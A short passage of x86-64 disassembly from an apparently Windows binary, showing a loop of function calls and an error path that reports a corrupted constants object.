jne 0x1400208c1
add rdx, rax
mov eax, dword [rdx + 1]
add rdx, 5
test ecx, ecx
jne 0x140020890
movzx ecx, word [rdx]
lea rax, [rdx + 2]
cmp r9w, cx
jae 0x140020908
mov ebx, ecx
nop word [rax + rax]
mov r8, rax
mov rdx, rdi
mov rcx, rbp
call fcn.14001cd90
add rdi, 8
sub rbx, 1
jne 0x1400208f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rcx, str.Error__corrupted_constants_object
call fcn.14002f1d4
call fcn.140032798
int3